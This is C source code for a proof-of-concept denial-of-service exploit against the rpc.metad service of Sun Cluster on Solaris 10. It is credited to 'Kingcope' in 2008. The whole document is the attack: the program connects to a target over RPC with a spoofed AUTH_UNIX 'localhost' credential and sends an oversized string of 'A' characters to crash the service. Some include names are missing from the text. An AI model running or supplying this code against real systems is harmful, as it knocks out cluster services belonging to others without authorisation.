/*##########################################################*/ /*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/ /*## causes DoS on rpc.metad #*/ /*## (C) 2008 - Kingcope #*/ /*##########################################################*/ #include #include #include #include #include #include #include extern int optarg; #define METAD_PROG 100229 #define METAD_VERS 2 #define METAD_FUNC 6 typedef struct{char *string;}req_t; bool_t xdr_req(XDR *xdrs,req_t *obj){ if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char buffer[30000],address[4],*b,*cmd; int i,c,n,flag=1,vers=0,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; printf("rpc.metad for solaris 10\n\n"); if(argc<2){ printf("usage: %s address\n",argv[0]); exit(-1); } printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC); printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){ clnt_pcreateerror("error");exit(-1); } cl->cl_auth=authunix_create("localhost",0,0,0,NULL); memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover buffer[3000]=0; req.string=buffer; stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm); if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n"); printf("sent!\n"); /* if(!flag) exit(0);*/ } }